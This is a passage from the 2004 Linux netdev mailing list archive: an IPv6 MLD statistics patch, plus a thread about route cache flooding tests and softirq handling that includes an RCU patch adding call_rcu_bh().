mashirle@us.ibm.com Wed Mar 31 13:27:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:27:19 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VLR1KO027852 for ; Wed, 31 Mar 2004 13:27:10 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VLQk9x100350; Wed, 31 Mar 2004 16:26:47 -0500 Received: from DYN318388BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VLQi06330244; Wed, 31 Mar 2004 14:26:45 -0700 From: Shirley Ma To: davem@redhat.com Subject: [PATCH]Add IPv6 MIBs counters in MLD (mcast.c) Date: Wed, 31 Mar 2004 13:26:43 -0800 User-Agent: KMail/1.5 Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org, xma@us.ibm.com References: In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_TezaA6gCPmb2vM/" Message-Id: <200403311326.43647.mashirle@us.ibm.com> X-archive-position: 4401 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2147 Lines: 87 --Boundary-00=_TezaA6gCPmb2vM/ Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Content-Disposition: inline Here is the patch against linux 2.6.4 kernel. Please review it. Thanks Shirley Ma IBM Linux Technology Center --Boundary-00=_TezaA6gCPmb2vM/ Content-Type: text/x-diff; charset="iso-2022-jp"; name="linux-2.6.4-mld-ipv6mib.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.4-mld-ipv6mib.patch" diff -urN linux-2.6.4/net/ipv6/mcast.c linux-2.6.4-mld/net/ipv6/mcast.c --- linux-2.6.4/net/ipv6/mcast.c 2004-03-10 18:55:43.000000000 -0800 +++ linux-2.6.4-mld/net/ipv6/mcast.c 2004-03-31 12:05:11.767673936 -0800 @@ -1317,6 +1317,7 @@ struct inet6_dev *idev = in6_dev_get(skb->dev); int err; + IP6_INC_STATS(Ip6OutRequests); payload_len = skb->tail - (unsigned char *)skb->nh.ipv6h - sizeof(struct ipv6hdr); mldlen = skb->tail - skb->h.raw; @@ -1326,8 +1327,12 @@ IPPROTO_ICMPV6, csum_partial(skb->h.raw, mldlen, 0)); err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, skb->dev, dev_queue_xmit); - if (!err) + if (!err) { ICMP6_INC_STATS(idev,Icmp6OutMsgs); + IP6_INC_STATS(Ip6OutMcastPkts); + } else + IP6_INC_STATS(Ip6OutDiscards); + if (likely(idev != NULL)) in6_dev_put(idev); } @@ -1608,6 +1613,7 @@ IPV6_TLV_ROUTERALERT, 2, 0, 0, IPV6_TLV_PADN, 0 }; + IP6_INC_STATS(Ip6OutRequests); snd_addr = addr; if (type == ICMPV6_MGM_REDUCTION) { snd_addr = &all_routers; @@ -1620,8 +1626,10 @@ skb = sock_alloc_send_skb(sk, LL_RESERVED_SPACE(dev) + full_len, 1, &err); - if (skb == NULL) + if (skb == NULL) { + IP6_INC_STATS(Ip6OutDiscards); return; + } skb_reserve(skb, LL_RESERVED_SPACE(dev)); if (dev->hard_header) { @@ -1664,13 +1672,16 @@ else ICMP6_INC_STATS(idev, Icmp6OutGroupMembResponses); ICMP6_INC_STATS(idev, Icmp6OutMsgs); - } + IP6_INC_STATS(Ip6OutMcastPkts); + } else + IP6_INC_STATS(Ip6OutDiscards); if (likely(idev != NULL)) in6_dev_put(idev); return; out: + IP6_INC_STATS(Ip6OutDiscards); kfree_skb(skb); } --Boundary-00=_TezaA6gCPmb2vM/-- From andrea@suse.de Wed Mar 31 13:28:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:28:26 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VLSLKO027994 for ; Wed, 31 Mar 2004 13:28:22 -0800 Received: by dualathlon.random (Postfix, from userid 500) id 0CEA84A65; Wed, 31 Mar 2004 23:28:17 +0200 (CEST) Date: Wed, 31 Mar 2004 23:28:17 +0200 From: Andrea Arcangeli To: Dipankar Sarma Cc: Robert Olsson , "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331212817.GQ2143@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040331171023.GA4543@in.ibm.com> <16491.4593.718724.277551@robur.slu.se> <20040331203750.GB4543@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040331203750.GB4543@in.ibm.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4402 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 2215 Lines: 50 On Thu, Apr 01, 2004 at 02:07:50AM +0530, Dipankar Sarma wrote: > On Wed, Mar 31, 2004 at 08:46:09PM +0200, Robert Olsson wrote: > Content-Description: message body text > > Before run > > > > total droppped tsquz throttl bh_enbl ksoftird irqexit other > > 00000000 00000000 00000000 00000000 000000e8 0000017e 00030411 00000000 > > 00000000 00000000 00000000 00000000 000000ae 00000277 00030349 00000000 > > > > After DoS (See description from previous mail) > > > > total droppped tsquz throttl bh_enbl ksoftird irqexit other > > 00164c55 00000000 000021de 00000000 000000fc 0000229f 0003443c 00000000 > > 001695e7 00000000 0000224d 00000000 00000162 0000236f 000342f7 00000000 > > > > So the major part of softirq's are run from irqexit and therefor out of > > scheduler control. This even with RX polling (eth0, eth2) We still have > > some TX interrupts plus timer interrupts now at 1000Hz. Which probably > > reduces the number of softirq's that ksoftirqd runs. > > So, NAPI or not we get userland stalls due to packetflooding. indeed, the most of the softirq load happens within irqs even with NAPI as we were talking about, so Alexey and DaveM were wrong about the hardirq load being non significant. Maybe the problem is simply that NAPI should be tuned more aggressively, it may have to poll for a longer time before giving up. > Looking at some of the old patches we discussed privately, it seems > this is what was done earlier - > > 1. Use rcu-softirq.patch which provides call_rcu_bh() for softirqs > only. this is the one I prefer if it performs. > 2. Limit non-ksoftirqd softirqs - get a measure of userland stall (using > an api rcu_grace_period(cpu)) and if it is too long, expire > the timeslice of the current process and start sending everything to > ksoftirqd. yep, this may be desiderable eventually just to be fair with tasks, but I believe it's partly an orthogonal with the rcu grace period length. > By reducing the softirq time at the back of a hardirq or local_bh_enable(), > we should be able to bring a bit more fairness. I am working on the > patches, will test and publish later. I consider this as the approch number 2 too. From dipankar@in.ibm.com Wed Mar 31 13:45:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:45:39 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VLjXKO028946 for ; Wed, 31 Mar 2004 13:45:34 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VLiY9x484840; Wed, 31 Mar 2004 16:44:34 -0500 Received: from soprano.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VLiM06368078; Wed, 31 Mar 2004 14:44:31 -0700 Received: by soprano.in.ibm.com (Postfix, from userid 500) id B22CF7C52A; Thu, 1 Apr 2004 03:13:42 +0530 (IST) Date: Thu, 1 Apr 2004 03:13:42 +0530 From: Dipankar Sarma To: Andrea Arcangeli Cc: Robert Olsson , "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331214342.GD4543@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040331171023.GA4543@in.ibm.com> <16491.4593.718724.277551@robur.slu.se> <20040331203750.GB4543@in.ibm.com> <20040331212817.GQ2143@dualathlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040331212817.GQ2143@dualathlon.random> User-Agent: Mutt/1.4.1i X-archive-position: 4403 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 18520 Lines: 592 On Wed, Mar 31, 2004 at 11:28:17PM +0200, Andrea Arcangeli wrote: > On Thu, Apr 01, 2004 at 02:07:50AM +0530, Dipankar Sarma wrote: > > So, NAPI or not we get userland stalls due to packetflooding. > > indeed, the most of the softirq load happens within irqs even with NAPI > as we were talking about, so Alexey and DaveM were wrong about the > hardirq load being non significant. > > Maybe the problem is simply that NAPI should be tuned more aggressively, > it may have to poll for a longer time before giving up. Perhaps yes, but we still have softirqs from local_bh_enable()s to deal with. > > Looking at some of the old patches we discussed privately, it seems > > this is what was done earlier - > > > > 1. Use rcu-softirq.patch which provides call_rcu_bh() for softirqs > > only. > > this is the one I prefer if it performs. I just tried the attached patch (forward ported and some aggressive things deleted) and there was no route cache overflow during pktgen testing. So, this is a good approach, however this is not going to solve userland stalls. Robert, btw, this rcu-softirq patch is slightly different from the earlier one in the sense that now every softirq handler completion is a quiescent point. Earlier each iteration of softirqs was a quiescent point. So this has more quiescent points. > > > 2. Limit non-ksoftirqd softirqs - get a measure of userland stall (using > > an api rcu_grace_period(cpu)) and if it is too long, expire > > the timeslice of the current process and start sending everything to > > ksoftirqd. > > yep, this may be desiderable eventually just to be fair with tasks, but > I believe it's partly an orthogonal with the rcu grace period length. Yes, it is. Delaying softirqs will delay RCU grace periods. But it will also affect i/o throughput. So this is a balancing act anyway. > > By reducing the softirq time at the back of a hardirq or local_bh_enable(), > > we should be able to bring a bit more fairness. I am working on the > > patches, will test and publish later. > > I consider this as the approch number 2 too. Well, I don't really have #1 and #2. I think we need to understand if there are the situations where such stalls are unacceptable and if so fix softirqs for them. RCU OOMs we can probably work around anyway. Thanks Dipankar Provide a new call_rcu_bh() interface that can be used in softirq only situations. Completion of a softirq handler is considered a quiescent point apart from regular quiescent points. If there is any read from process context, then it must be protected by rcu_read_lock/unlock_bh(). include/linux/rcupdate.h | 40 ++++++--- kernel/rcupdate.c | 207 ++++++++++++++++++++++++++++------------------- kernel/softirq.c | 12 ++ net/decnet/dn_route.c | 6 - net/ipv4/route.c | 28 +++--- 5 files changed, 183 insertions(+), 110 deletions(-) diff -puN include/linux/rcupdate.h~rcu-softirq include/linux/rcupdate.h --- linux-2.6.0-rtcache/include/linux/rcupdate.h~rcu-softirq 2004-04-01 00:07:48.000000000 +0530 +++ linux-2.6.0-rtcache-dipankar/include/linux/rcupdate.h 2004-04-01 02:01:32.000000000 +0530 @@ -99,38 +99,56 @@ struct rcu_data { }; DECLARE_PER_CPU(struct rcu_data, rcu_data); +DECLARE_PER_CPU(struct rcu_data, rcu_bh_data); extern struct rcu_ctrlblk rcu_ctrlblk; - +extern struct rcu_ctrlblk rcu_bh_ctrlblk; + #define RCU_qsctr(cpu) (per_cpu(rcu_data, (cpu)).qsctr) -#define RCU_last_qsctr(cpu) (per_cpu(rcu_data, (cpu)).last_qsctr) -#define RCU_batch(cpu) (per_cpu(rcu_data, (cpu)).batch) #define RCU_nxtlist(cpu) (per_cpu(rcu_data, (cpu)).nxtlist) -#define RCU_curlist(cpu) (per_cpu(rcu_data, (cpu)).curlist) - +#define RCU_bh_qsctr(cpu) (per_cpu(rcu_bh_data, (cpu)).qsctr) +#define RCU_bh_nxtlist(cpu) (per_cpu(rcu_bh_data, (cpu)).nxtlist) + #define RCU_QSCTR_INVALID 0 -static inline int rcu_pending(int cpu) +static inline int __rcu_pending(int cpu, struct rcu_ctrlblk *rcp, + struct rcu_data *rdp) { - if ((!list_empty(&RCU_curlist(cpu)) && - rcu_batch_before(RCU_batch(cpu), rcu_ctrlblk.curbatch)) || - (list_empty(&RCU_curlist(cpu)) && - !list_empty(&RCU_nxtlist(cpu))) || - cpu_isset(cpu, rcu_ctrlblk.rcu_cpu_mask)) + if ((!list_empty(&rdp->curlist) && + rcu_batch_before(rdp->batch, rcp->curbatch)) || + (list_empty(&rdp->curlist) && + !list_empty(&rdp->nxtlist)) || + cpu_isset(cpu, rcp->rcu_cpu_mask)) return 1; else return 0; } +static inline int rcu_pending_bh(int cpu) +{ + return __rcu_pending(cpu, &rcu_bh_ctrlblk, &per_cpu(rcu_bh_data, cpu)); +} +static inline int rcu_pending(int cpu) +{ + return __rcu_pending(cpu, &rcu_ctrlblk, &per_cpu(rcu_data, cpu)) || + __rcu_pending(cpu, &rcu_bh_ctrlblk, &per_cpu(rcu_bh_data, cpu)); +} #define rcu_read_lock() preempt_disable() #define rcu_read_unlock() preempt_enable() +#define rcu_read_lock_bh() local_bh_disable() +#define rcu_read_unlock_bh() local_bh_enable() extern void rcu_init(void); extern void rcu_check_callbacks(int cpu, int user); +extern void rcu_process_callbacks_bh(int cpu); /* Exported interfaces */ extern void FASTCALL(call_rcu(struct rcu_head *head, void (*func)(void *arg), void *arg)); +extern void FASTCALL(call_rcu_bh(struct rcu_head *head, + void (*func)(void *arg), void *arg)); extern void synchronize_kernel(void); +extern struct rcu_ctrlblk rcu_ctrlblk; + #endif /* __KERNEL__ */ #endif /* __LINUX_RCUPDATE_H */ diff -puN kernel/rcupdate.c~rcu-softirq kernel/rcupdate.c --- linux-2.6.0-rtcache/kernel/rcupdate.c~rcu-softirq 2004-04-01 00:07:48.000000000 +0530 +++ linux-2.6.0-rtcache-dipankar/kernel/rcupdate.c 2004-04-01 00:53:29.000000000 +0530 @@ -51,6 +51,11 @@ struct rcu_ctrlblk rcu_ctrlblk = .maxbatch = 1, .rcu_cpu_mask = CPU_MASK_NONE }; DEFINE_PER_CPU(struct rcu_data, rcu_data) = { 0L }; +struct rcu_ctrlblk rcu_bh_ctrlblk = + { .mutex = SPIN_LOCK_UNLOCKED, .curbatch = 1, + .maxbatch = 1, .rcu_cpu_mask = 0 }; +DEFINE_PER_CPU(struct rcu_data, rcu_bh_data) = { 0L }; + /* Fake initialization required by compiler */ static DEFINE_PER_CPU(struct tasklet_struct, rcu_tasklet) = {NULL}; #define RCU_tasklet(cpu) (per_cpu(rcu_tasklet, cpu)) @@ -79,6 +84,30 @@ void call_rcu(struct rcu_head *head, voi local_irq_restore(flags); } +/** + * call_rcu_bh - Queue an RCU update request that is used only from softirqs + * @head: structure to be used for queueing the RCU updates. + * @func: actual update function to be invoked after the grace period + * @arg: argument to be passed to the update function + * + * The update function will be invoked as soon as all CPUs have performed + * a context switch or been seen in the idle loop or in a user process or + * or has exited a softirq handler that it may have been executing. + * The read-side of critical section that use call_rcu_bh() for updation must + * be protected by rcu_read_lock()/rcu_read_unlock(). + */ +void call_rcu_bh(struct rcu_head *head, void (*func)(void *arg), void *arg) +{ + int cpu; + + head->func = func; + head->arg = arg; + local_bh_disable(); + cpu = smp_processor_id(); + list_add_tail(&head->list, &RCU_bh_nxtlist(cpu)); + local_bh_enable(); +} + /* * Invoke the completed RCU callbacks. They are expected to be in * a per-cpu list. @@ -101,16 +130,16 @@ static void rcu_do_batch(struct list_hea * active batch and the batch to be registered has not already occurred. * Caller must hold the rcu_ctrlblk lock. */ -static void rcu_start_batch(long newbatch) +static void rcu_start_batch(struct rcu_ctrlblk *rcp, long newbatch) { - if (rcu_batch_before(rcu_ctrlblk.maxbatch, newbatch)) { - rcu_ctrlblk.maxbatch = newbatch; - } - if (rcu_batch_before(rcu_ctrlblk.maxbatch, rcu_ctrlblk.curbatch) || - !cpus_empty(rcu_ctrlblk.rcu_cpu_mask)) { - return; - } - rcu_ctrlblk.rcu_cpu_mask = cpu_online_map; + if (rcu_batch_before(rcp->maxbatch, newbatch)) { + rcp->maxbatch = newbatch; + } + if (rcu_batch_before(rcp->maxbatch, rcp->curbatch) || + !cpus_empty(rcp->rcu_cpu_mask)) { + return; + } + rcp->rcu_cpu_mask = cpu_online_map; } /* @@ -118,41 +147,73 @@ static void rcu_start_batch(long newbatc * switch). If so and if it already hasn't done so in this RCU * quiescent cycle, then indicate that it has done so. */ -static void rcu_check_quiescent_state(void) +static void rcu_check_quiescent_state(struct rcu_ctrlblk *rcp, + struct rcu_data *rdp) { - int cpu = smp_processor_id(); - - if (!cpu_isset(cpu, rcu_ctrlblk.rcu_cpu_mask)) - return; - - /* - * Races with local timer interrupt - in the worst case - * we may miss one quiescent state of that CPU. That is - * tolerable. So no need to disable interrupts. - */ - if (RCU_last_qsctr(cpu) == RCU_QSCTR_INVALID) { - RCU_last_qsctr(cpu) = RCU_qsctr(cpu); - return; - } - if (RCU_qsctr(cpu) == RCU_last_qsctr(cpu)) - return; - - spin_lock(&rcu_ctrlblk.mutex); - if (!cpu_isset(cpu, rcu_ctrlblk.rcu_cpu_mask)) - goto out_unlock; - - cpu_clear(cpu, rcu_ctrlblk.rcu_cpu_mask); - RCU_last_qsctr(cpu) = RCU_QSCTR_INVALID; - if (!cpus_empty(rcu_ctrlblk.rcu_cpu_mask)) - goto out_unlock; - - rcu_ctrlblk.curbatch++; - rcu_start_batch(rcu_ctrlblk.maxbatch); - + int cpu = smp_processor_id(); + + if (!cpu_isset(cpu, rcp->rcu_cpu_mask)) + return; + + if (rdp->last_qsctr == RCU_QSCTR_INVALID) { + rdp->last_qsctr = rdp->qsctr; + return; + } + if (rdp->qsctr == rdp->last_qsctr) + return; + + spin_lock(&rcp->mutex); + if (!cpu_isset(cpu, rcp->rcu_cpu_mask)) + goto out_unlock; + + cpu_clear(cpu, rcp->rcu_cpu_mask); + rdp->last_qsctr = RCU_QSCTR_INVALID; + if (!cpus_empty(rcp->rcu_cpu_mask)) + goto out_unlock; + + rcp->curbatch++; + rcu_start_batch(rcp, rcp->maxbatch); + out_unlock: - spin_unlock(&rcu_ctrlblk.mutex); + spin_unlock(&rcp->mutex); +} + +static void __rcu_process_callbacks(struct rcu_ctrlblk *rcp, + struct rcu_data *rdp) +{ + LIST_HEAD(list); + + if (!list_empty(&rdp->curlist) && + rcu_batch_after(rcp->curbatch, rdp->batch)) { + list_splice(&rdp->curlist, &list); + INIT_LIST_HEAD(&rdp->curlist); + } + + local_irq_disable(); + if (!list_empty(&rdp->nxtlist) && list_empty(&rdp->curlist)) { + list_splice(&rdp->nxtlist, &rdp->curlist); + INIT_LIST_HEAD(&rdp->nxtlist); + local_irq_enable(); + + /* + * start the next batch of callbacks + */ + spin_lock(&rcp->mutex); + rdp->batch = rcp->curbatch + 1; + rcu_start_batch(rcp, rdp->batch); + spin_unlock(&rcp->mutex); + } else { + local_irq_enable(); + } + rcu_check_quiescent_state(rcp, rdp); + if (!list_empty(&list)) + rcu_do_batch(&list); +} + +void rcu_process_callbacks_bh(int cpu) +{ + __rcu_process_callbacks(&rcu_bh_ctrlblk, &per_cpu(rcu_bh_data, cpu)); } - /* * This does the RCU processing work from tasklet context. @@ -160,59 +221,38 @@ out_unlock: static void rcu_process_callbacks(unsigned long unused) { int cpu = smp_processor_id(); - LIST_HEAD(list); - - if (!list_empty(&RCU_curlist(cpu)) && - rcu_batch_after(rcu_ctrlblk.curbatch, RCU_batch(cpu))) { - list_splice(&RCU_curlist(cpu), &list); - INIT_LIST_HEAD(&RCU_curlist(cpu)); - } - - local_irq_disable(); - if (!list_empty(&RCU_nxtlist(cpu)) && list_empty(&RCU_curlist(cpu))) { - list_splice(&RCU_nxtlist(cpu), &RCU_curlist(cpu)); - INIT_LIST_HEAD(&RCU_nxtlist(cpu)); - local_irq_enable(); - - /* - * start the next batch of callbacks - */ - spin_lock(&rcu_ctrlblk.mutex); - RCU_batch(cpu) = rcu_ctrlblk.curbatch + 1; - rcu_start_batch(RCU_batch(cpu)); - spin_unlock(&rcu_ctrlblk.mutex); - } else { - local_irq_enable(); - } - rcu_check_quiescent_state(); - if (!list_empty(&list)) - rcu_do_batch(&list); + __rcu_process_callbacks(&rcu_ctrlblk, &per_cpu(rcu_data, cpu)); + __rcu_process_callbacks(&rcu_bh_ctrlblk, &per_cpu(rcu_bh_data, cpu)); } void rcu_check_callbacks(int cpu, int user) { - if (user || - (idle_cpu(cpu) && !in_softirq() && - hardirq_count() <= (1 << HARDIRQ_SHIFT))) - RCU_qsctr(cpu)++; - tasklet_schedule(&RCU_tasklet(cpu)); -} - -static void __devinit rcu_online_cpu(int cpu) -{ - memset(&per_cpu(rcu_data, cpu), 0, sizeof(struct rcu_data)); - tasklet_init(&RCU_tasklet(cpu), rcu_process_callbacks, 0UL); - INIT_LIST_HEAD(&RCU_nxtlist(cpu)); - INIT_LIST_HEAD(&RCU_curlist(cpu)); + if (user || + (idle_cpu(cpu) && !in_softirq() && + hardirq_count() <= (1 << HARDIRQ_SHIFT))) { + RCU_qsctr(cpu)++; + RCU_bh_qsctr(cpu)++; + } else if (!in_softirq()) + RCU_bh_qsctr(cpu)++; + tasklet_schedule(&RCU_tasklet(cpu)); +} + +static void __devinit rcu_online_cpu(struct rcu_data *rdp) +{ + memset(rdp, 0, sizeof(*rdp)); + INIT_LIST_HEAD(&rdp->nxtlist); + INIT_LIST_HEAD(&rdp->curlist); } - + static int __devinit rcu_cpu_notify(struct notifier_block *self, unsigned long action, void *hcpu) { long cpu = (long)hcpu; switch (action) { case CPU_UP_PREPARE: - rcu_online_cpu(cpu); + rcu_online_cpu(&per_cpu(rcu_data, cpu)); + rcu_online_cpu(&per_cpu(rcu_bh_data, cpu)); + tasklet_init(&RCU_tasklet(cpu), rcu_process_callbacks, 0UL); break; /* Space reserved for CPU_OFFLINE :) */ default: @@ -264,4 +304,5 @@ void synchronize_kernel(void) EXPORT_SYMBOL(call_rcu); +EXPORT_SYMBOL(call_rcu_bh); EXPORT_SYMBOL(synchronize_kernel); diff -puN kernel/softirq.c~rcu-softirq kernel/softirq.c --- linux-2.6.0-rtcache/kernel/softirq.c~rcu-softirq 2004-04-01 00:07:48.000000000 +0530 +++ linux-2.6.0-rtcache-dipankar/kernel/softirq.c 2004-04-01 02:19:00.000000000 +0530 @@ -73,6 +73,7 @@ asmlinkage void do_softirq(void) int max_restart = MAX_SOFTIRQ_RESTART; __u32 pending; unsigned long flags; + int cpu; if (in_interrupt()) return; @@ -85,6 +86,7 @@ asmlinkage void do_softirq(void) struct softirq_action *h; local_bh_disable(); + cpu = smp_processor_id(); restart: /* Reset the pending bitmask before enabling irqs */ local_softirq_pending() = 0; @@ -94,8 +96,10 @@ restart: h = softirq_vec; do { - if (pending & 1) + if (pending & 1) { h->action(h); + RCU_bh_qsctr(cpu)++; + } h++; pending >>= 1; } while (pending); @@ -107,6 +111,7 @@ restart: goto restart; if (pending) wakeup_softirqd(); + __local_bh_enable(); } @@ -117,6 +122,11 @@ EXPORT_SYMBOL(do_softirq); void local_bh_enable(void) { + int cpu = smp_processor_id(); + + if (softirq_count() == (1 << SOFTIRQ_SHIFT)) { + RCU_bh_qsctr(cpu)++; + } __local_bh_enable(); WARN_ON(irqs_disabled()); if (unlikely(!in_interrupt() && diff -puN net/decnet/dn_route.c~rcu-softirq net/decnet/dn_route.c --- linux-2.6.0-rtcache/net/decnet/dn_route.c~rcu-softirq 2004-04-01 00:07:48.000000000 +0530 +++ linux-2.6.0-rtcache-dipankar/net/decnet/dn_route.c 2004-04-01 00:07:48.000000000 +0530 @@ -146,14 +146,16 @@ static __inline__ unsigned dn_hash(unsig static inline void dnrt_free(struct dn_route *rt) { - call_rcu(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, &rt->u.dst); + call_rcu_bh(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, + &rt->u.dst); } static inline void dnrt_drop(struct dn_route *rt) { if (rt) dst_release(&rt->u.dst); - call_rcu(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, &rt->u.dst); + call_rcu_bh(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, + &rt->u.dst); } static void dn_dst_check_expire(unsigned long dummy) diff -puN net/ipv4/route.c~rcu-softirq net/ipv4/route.c --- linux-2.6.0-rtcache/net/ipv4/route.c~rcu-softirq 2004-04-01 00:07:48.000000000 +0530 +++ linux-2.6.0-rtcache-dipankar/net/ipv4/route.c 2004-04-01 02:02:31.000000000 +0530 @@ -224,11 +224,11 @@ static struct rtable *rt_cache_get_first struct rt_cache_iter_state *st = seq->private; for (st->bucket = rt_hash_mask; st->bucket >= 0; --st->bucket) { - rcu_read_lock(); + rcu_read_lock_bh(); r = rt_hash_table[st->bucket].chain; if (r) break; - rcu_read_unlock(); + rcu_read_unlock_bh(); } return r; } @@ -240,10 +240,10 @@ static struct rtable *rt_cache_get_next( smp_read_barrier_depends(); r = r->u.rt_next; while (!r) { - rcu_read_unlock(); + rcu_read_unlock_bh(); if (--st->bucket < 0) break; - rcu_read_lock(); + rcu_read_lock_bh(); r = rt_hash_table[st->bucket].chain; } return r; @@ -279,7 +279,7 @@ static void *rt_cache_seq_next(struct se static void rt_cache_seq_stop(struct seq_file *seq, void *v) { if (v && v != SEQ_START_TOKEN) - rcu_read_unlock(); + rcu_read_unlock_bh(); } static int rt_cache_seq_show(struct seq_file *seq, void *v) @@ -437,13 +437,15 @@ static struct file_operations rt_cpu_seq static __inline__ void rt_free(struct rtable *rt) { - call_rcu(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, &rt->u.dst); + call_rcu_bh(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, + &rt->u.dst); } static __inline__ void rt_drop(struct rtable *rt) { ip_rt_put(rt); - call_rcu(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, &rt->u.dst); + call_rcu_bh(&rt->u.dst.rcu_head, (void (*)(void *))dst_free, + &rt->u.dst); } static __inline__ int rt_fast_clean(struct rtable *rth) @@ -2223,7 +2225,7 @@ int __ip_route_output_key(struct rtable hash = rt_hash_code(flp->fl4_dst, flp->fl4_src ^ (flp->oif << 5), flp->fl4_tos); - rcu_read_lock(); + rcu_read_lock_bh(); for (rth = rt_hash_table[hash].chain; rth; rth = rth->u.rt_next) { smp_read_barrier_depends(); if (rth->fl.fl4_dst == flp->fl4_dst && @@ -2239,13 +2241,13 @@ int __ip_route_output_key(struct rtable dst_hold(&rth->u.dst); rth->u.dst.__use++; RT_CACHE_STAT_INC(out_hit); - rcu_read_unlock(); + rcu_read_unlock_bh(); *rp = rth; return 0; } RT_CACHE_STAT_INC(out_hlist_search); } - rcu_read_unlock(); + rcu_read_unlock_bh(); return ip_route_output_slow(rp, flp); } @@ -2455,7 +2457,7 @@ int ip_rt_dump(struct sk_buff *skb, str if (h < s_h) continue; if (h > s_h) s_idx = 0; - rcu_read_lock(); + rcu_read_lock_bh(); for (rt = rt_hash_table[h].chain, idx = 0; rt; rt = rt->u.rt_next, idx++) { smp_read_barrier_depends(); @@ -2466,12 +2468,12 @@ int ip_rt_dump(struct sk_buff *skb, str cb->nlh->nlmsg_seq, RTM_NEWROUTE, 1) <= 0) { dst_release(xchg(&skb->dst, NULL)); - rcu_read_unlock(); + rcu_read_unlock_bh(); goto done; } dst_release(xchg(&skb->dst, NULL)); } - rcu_read_unlock(); + rcu_read_unlock_bh(); } done: _ From dipankar@in.ibm.com Wed Mar 31 13:53:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:53:56 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VLrsKO029502 for ; Wed, 31 Mar 2004 13:53:54 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VLr35r056972; Wed, 31 Mar 2004 16:53:03 -0500 Received: from soprano.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VLqsjU079590; Wed, 31 Mar 2004 14:53:02 -0700 Received: by soprano.in.ibm.com (Postfix, from userid 500) id ED1847C52A; Thu, 1 Apr 2004 03:22:14 +0530 (IST) Date: Thu, 1 Apr 2004 03:22:14 +0530 From: Dipankar Sarma To: Andrea Arcangeli Cc: "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: 